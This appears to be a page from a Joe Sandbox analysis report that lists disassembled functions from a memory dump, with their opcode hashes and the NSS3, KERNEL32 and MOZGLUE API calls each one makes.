Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 08a814010477ba3e9cef51b0084330aeeded692219fe2b1cf0d45121b2ea3a25
Instruction ID: 4f1b9e34d5109a7af3824989d9aaa055cedd0818de99bc5e542b39907f325abc
Opcode Fuzzy Hash: 08a814010477ba3e9cef51b0084330aeeded692219fe2b1cf0d45121b2ea3a25
Instruction Fuzzy Hash: A0C181B1A002199FDB20CF65CD84BDAB7B4BB48318F1442B8E94897741E775EE96CF90

Function 6C7AC710 Relevance: 13.8, APIs: 9, Instructions: 271COMMON

Download Yara Rule

APIs

Part of subcall function 6C7AC590: PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7AC5C7
Part of subcall function 6C7AC590: PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6C7AC603

TlsGetValue.KERNEL32 ref: 6C7AC825
EnterCriticalSection.KERNEL32(?), ref: 6C7AC839
PR_Unlock.NSS3(?), ref: 6C7AC88B
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7AC966

Part of subcall function 6C7ACA30: TlsGetValue.KERNEL32 ref: 6C7ACA95
Part of subcall function 6C7ACA30: EnterCriticalSection.KERNEL32(00000000), ref: 6C7ACAA9
Part of subcall function 6C7ACA30: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6C7AC8CF,?,?,?), ref: 6C7ACAE7
Part of subcall function 6C7ACA30: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7ACB09

PK11_FreeSymKey.NSS3(?), ref: 6C7AC949
PK11_FreeSymKey.NSS3(?), ref: 6C7AC954
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C7AC9A8
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C7AC9B7
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C7AC9F9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ErrorK11_$CriticalDoesEnterFreeMechanismSectionUnlockValue$Item_UtilZfree
String ID:
API String ID: 1505861056-0
Opcode ID: 2eb9aeae1d34473c8e32adb53550c0c8f160a243ebae17e909f87b22cfce3cb1
Instruction ID: e36bfe38b1a7ec277c4122ae91673c609db273a8d0f38722d0a8fe10ed995370
Opcode Fuzzy Hash: 2eb9aeae1d34473c8e32adb53550c0c8f160a243ebae17e909f87b22cfce3cb1
Instruction Fuzzy Hash: 27A18175E00209AFDB00DFA9DD84BAE7BB4BF48349F144128E809A7741E772E956CB90

Function 6C7F4770 Relevance: 13.7, APIs: 9, Instructions: 241memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7F0610: PR_CallOnce.NSS3(6C8C2F88,6C7F0660,?,?,6C7F477E,00000000), ref: 6C7F062F

PR_CallOnce.NSS3(6C8C2D6C,6C7EF8C0), ref: 6C7F478B

Part of subcall function 6C6E4C70: TlsGetValue.KERNEL32(?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4C97
Part of subcall function 6C6E4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CB0
Part of subcall function 6C6E4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CC9

_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7F47A1
PORT_Alloc_Util.NSS3(-000EECC7), ref: 6C7F49B8

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

memset.VCRUNTIME140(00000000,00000000), ref: 6C7F49D4
memcpy.VCRUNTIME140(00000000,6C8C2F9C,00000090), ref: 6C7F49E7
PR_Now.NSS3 ref: 6C7F4A4F

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7F4A5C

Part of subcall function 6C7F0320: CreateMutexA.KERNEL32(?,00000000,00000000,00000000), ref: 6C7F0367

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F4ABC
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7F4AD8

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Time$CallErrorOnceSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@$Alloc_CreateCriticalEnterFileMutexSectionUnlockUtil_getpidmallocmemcpymemset
String ID:
API String ID: 1663962601-0
Opcode ID: 121fa744bb8716382890d8d4237b641e9b9cbf5831c422b0ab1d2da40c4de832
Instruction ID: b515f669d4ac0e25a788018d0524aacd54be9b4b0155ce110fa71e26e4ca728e
Opcode Fuzzy Hash: 121fa744bb8716382890d8d4237b641e9b9cbf5831c422b0ab1d2da40c4de832
Instruction Fuzzy Hash: E6917C72B10B188BDB35CF29CD9479A36B1BB8631CB05823AD824977C5E7789A05CBD0

Function 6C7806A0 Relevance: 13.7, APIs: 9, Instructions: 225stringCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7806C2
EnterCriticalSection.KERNEL32(?), ref: 6C7806D6
PR_Unlock.NSS3 ref: 6C7806EB

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

free.MOZGLUE(?), ref: 6C7807DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7807FA

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterLeaveUnlockfreestrlen
String ID:
API String ID: 3527478211-0
Opcode ID: 7042603edb346aaa10005eabda93f1d54b996f11fd821e26636b32fef4377564
Instruction ID: 385ea67865259da7da03c28762d73f4323ed49cfa1f3d6d78ae1ebc353ab1723
Opcode Fuzzy Hash: 7042603edb346aaa10005eabda93f1d54b996f11fd821e26636b32fef4377564
Instruction Fuzzy Hash: 1E81F9B1A013049FEF109F64CE89AAA7BB4BF19308F054578DD585B722E731E954CBE1

Function 6C7D4620 Relevance: 13.7, APIs: 9, Instructions: 221threadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6C7D4963

Part of subcall function 6C773090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C78AE42), ref: 6C7730AA
Part of subcall function 6C773090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7730C7
Part of subcall function 6C773090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7730E5
Part of subcall function 6C773090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C773116
Part of subcall function 6C773090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C77312B
Part of subcall function 6C773090: PK11_DestroyObject.NSS3(?,?), ref: 6C773154
Part of subcall function 6C773090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77317E

SECOID_FindOID_Util.NSS3(?), ref: 6C7D465E

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C7D4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C7D4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C7D473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C7D4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C892DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C7D482E
PR_GetCurrentThread.NSS3 ref: 6C7D48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C7D4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C7D4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C7D494E
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7D4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6C7D21C2,?,?,?), ref: 6C7D499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7D49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6C7D49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7D49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7D49E9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena_Error$AlgorithmFreeTag_$Destroy$FindHashItem_LookupPublicTable$Alloc_ArenaConstCopyCurrentDataEncodeK11_ObjectThreadVerifyWithmemset
String ID:
API String ID: 1962444627-0
Opcode ID: 4f6bb8293e7eb7e8508675ad2efc3519414287eabe84de5c779c7e6a03984778
Instruction ID: 8ee224b63d034405852313a9548460456af17d8e4b74b5d2198312e3f92acd8d
Opcode Fuzzy Hash: 4f6bb8293e7eb7e8508675ad2efc3519414287eabe84de5c779c7e6a03984778
Instruction Fuzzy Hash: DF71F4B5E012049BFF108B66CE88BAE7A74AF0532CF164039ED15A7B41D731F844DAA5

Function 6C762C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(7313176F), ref: 6C762C5D

Part of subcall function 6C7C0D30: calloc.MOZGLUE ref: 6C7C0D50
Part of subcall function 6C7C0D30: TlsGetValue.KERNEL32 ref: 6C7C0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C762C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C762CE0

Part of subcall function 6C762E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C762CDA,?,00000000), ref: 6C762E1E
Part of subcall function 6C762E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C762E33
Part of subcall function 6C762E00: TlsGetValue.KERNEL32 ref: 6C762E4E
Part of subcall function 6C762E00: EnterCriticalSection.KERNEL32(?), ref: 6C762E5E
Part of subcall function 6C762E00: PL_HashTableLookup.NSS3(?), ref: 6C762E71
Part of subcall function 6C762E00: PL_HashTableRemove.NSS3(?), ref: 6C762E84
Part of subcall function 6C762E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C762E96
Part of subcall function 6C762E00: PR_Unlock.NSS3 ref: 6C762EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C762D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C762D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C762D3F
free.MOZGLUE(00000000), ref: 6C762D73
CERT_DestroyCertificate.NSS3(?), ref: 6C762DB8
free.MOZGLUE ref: 6C762DC8

Part of subcall function 6C763E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C763EC2
Part of subcall function 6C763E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C763ED6
Part of subcall function 6C763E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C763EEE
Part of subcall function 6C763E60: PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C763F02
Part of subcall function 6C763E60: PL_FreeArenaPool.NSS3 ref: 6C763F14
Part of subcall function 6C763E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C763F27

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 5717e7257f0d504e8d0107a09908213aefd58cd676e03b1063e0cac1af6d43c8
Instruction ID: c15174ccc39f83a98bbe7c4171edda0d8386587603da2477c42e08d002c918c2
Opcode Fuzzy Hash: 5717e7257f0d504e8d0107a09908213aefd58cd676e03b1063e0cac1af6d43c8
Instruction Fuzzy Hash: 1351EF71A042129BEB519F2ACE8AB5B77E5EF84348F14083CEC5593F51EB31E814CB92

Function 6C788F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C788FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C788FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C788FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C789013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C789042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C78905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C789073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7890EC

Part of subcall function 6C750F00: PR_GetPageSize.NSS3(6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F1B
Part of subcall function 6C750F00: PR_NewLogModule.NSS3(clock,6C750936,FFFFE8AE,?,6C6E16B7,00000000,?,6C750936,00000000,?,6C6E204A), ref: 6C750F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C77DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C789111

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: a810e98077ac14c1ddfe5395d86de98275161b92538d479f8e1dd1b7050c9930
Instruction ID: d2b1e950b1d7d371e265cedf6fd324c12fcc79029382170fc7f0278bb64706a1
Opcode Fuzzy Hash: a810e98077ac14c1ddfe5395d86de98275161b92538d479f8e1dd1b7050c9930
Instruction Fuzzy Hash: D4519970A0A6058FCB10EF38C688699BBF0BF49318F05597ADD449B746EB34E884CB91

Function 6C776730 Relevance: 13.6, APIs: 9, Instructions: 150COMMON

Download Yara Rule

APIs

Part of subcall function 6C775DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C775DEC
Part of subcall function 6C775DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C775E0F

_SGN_VerifyPKCS1DigestInfo.NSS3(00000000,?,?,00000000,?,?,?,?,?,?,?,?,6C776729), ref: 6C7767A0

Part of subcall function 6C7BA470: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7BA4A6
Part of subcall function 6C7BA470: PORT_Alloc_Util.NSS3(?), ref: 6C7BA4EC
Part of subcall function 6C7BA470: memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C7BA527
Part of subcall function 6C7BA470: memcmp.VCRUNTIME140(00000006,?,?), ref: 6C7BA56D
Part of subcall function 6C7BA470: memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C7BA583
Part of subcall function 6C7BA470: PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7BA596
Part of subcall function 6C7BA470: free.MOZGLUE(?), ref: 6C7BA5A4

SECKEY_SignatureLen.NSS3(?,?,?,?,?,?,?,?,?,6C776729), ref: 6C7767C0
PR_SetError.NSS3(FFFFE030,00000000,?,?,?,?,?,?,?,?,?,6C776729), ref: 6C776800
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C776842
free.MOZGLUE(?), ref: 6C776855
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C77686B
free.MOZGLUE(00000000), ref: 6C776874
PK11_VerifyWithMechanism.NSS3(?,-00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C776729), ref: 6C7768C1
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7768D6

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$Utilfree$Verifymemcmp$AlgorithmAlloc_DestroyDigestFindInfoItem_K11_MechanismPolicyPublicSignatureTag_WithZfreememcpy
String ID:
API String ID: 1437015310-0
Opcode ID: be780a4d248796d7a1c9f2ad14ae23895a66cc8ae2e414b5c7fa3501cc28ae51
Instruction ID: 21e9a673821e7071490884026beec0e7d5b6d1421e799bf9cd3883a13df214f8
Opcode Fuzzy Hash: be780a4d248796d7a1c9f2ad14ae23895a66cc8ae2e414b5c7fa3501cc28ae51
Instruction Fuzzy Hash: 0251B4B0A002085BEF20DF69DD85BAB73B5EF85348F144538E85ADB745EA31E90587B1

Function 6C7B0750 Relevance: 13.6, APIs: 9, Instructions: 118COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,74720406,6C777296,00000000,?,6C7B44FE,?,?,?,?,6C777296,00000000), ref: 6C7B07AA
EnterCriticalSection.KERNEL32(?,?,74720406,6C777296,00000000,?,6C7B44FE,?,?,?,?,6C777296,00000000), ref: 6C7B07C7
PR_Unlock.NSS3(?,?,?,74720406,6C777296,00000000,?,6C7B44FE,?,?,?,?,6C777296,00000000), ref: 6C7B07E5
PK11_GetNextSafe.NSS3 ref: 6C7B0801
PR_Unlock.NSS3(?,?,?,74720406,6C777296,00000000,?,6C7B44FE,?,?,?,?,6C777296,00000000), ref: 6C7B0817
TlsGetValue.KERNEL32(?,?,?,74720406,6C777296,00000000,?,6C7B44FE,?,?,?,?,6C777296,00000000), ref: 6C7B0835
EnterCriticalSection.KERNEL32(?,?,?,?,74720406,6C777296,00000000,?,6C7B44FE,?,?,?,?,6C777296,00000000), ref: 6C7B084E
PR_Unlock.NSS3(?,?,?,?,?,74720406,6C777296,00000000,?,6C7B44FE,?,?,?,?,6C777296,00000000), ref: 6C7B0870
free.MOZGLUE(?,?,?,?,?,74720406), ref: 6C7B088F

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$K11_NextSafefree
String ID:
API String ID: 810312292-0
Opcode ID: 41e62f801b73ee525ffe39da6c80d52d0b30899e8dc92808e94e01b0c5f9f337
Instruction ID: 55b1bdfdd3274a87c218ca312f84349b167afc800ecedce7488aee8bf51a8e03
Opcode Fuzzy Hash: 41e62f801b73ee525ffe39da6c80d52d0b30899e8dc92808e94e01b0c5f9f337
Instruction Fuzzy Hash: DA410AB4A04646CFDB10EF79C68856EBBF0BF05348F114929D899A7711EB30E994CB91

Function 6C7F0750 Relevance: 13.6, APIs: 9, Instructions: 79COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(00000130,00000000), ref: 6C7F076D

Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

SECITEM_ZfreeItem_Util.NSS3(000000EC,00000000), ref: 6C7F0787
SECITEM_ZfreeItem_Util.NSS3(000000F8,00000000), ref: 6C7F07A1
PR_DestroyRWLock.NSS3(?), ref: 6C7F07B4
free.MOZGLUE(?), ref: 6C7F07C4
free.MOZGLUE(?), ref: 6C7F07D5
CERT_DestroyCertificate.NSS3(?), ref: 6C7F07E6
CERT_DestroyCertificate.NSS3(?), ref: 6C7F080A
SECITEM_ZfreeItem_Util.NSS3(-00000104,00000000), ref: 6C7F081B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Item_UtilZfree$Destroyfree$Certificate$Lock
String ID:
API String ID: 2711105989-0
Opcode ID: 18164fc5963de65f40739aa51b25aa18ad6452852179c0705ce63efccc354026
Instruction ID: d9d85265ce0511290e470182b53e59bff6788016eed3e15583c5c4db8a1ca188
Opcode Fuzzy Hash: 18164fc5963de65f40739aa51b25aa18ad6452852179c0705ce63efccc354026
Instruction Fuzzy Hash: 3121D6B6B01206A7EA109A35DE89FD577687B0074CF104131E829E2F82F770F169CAE1

Function 6C77E400 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C783F23,?), ref: 6C77E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C77E44F

Part of subcall function 6C782C40: TlsGetValue.KERNEL32(#?xl,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C62
Part of subcall function 6C782C40: EnterCriticalSection.KERNEL32(0000001C,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C76
Part of subcall function 6C782C40: PL_HashTableLookup.NSS3(00000000,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C86
Part of subcall function 6C782C40: PR_Unlock.NSS3(00000000,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C783F23,?), ref: 6C77E494
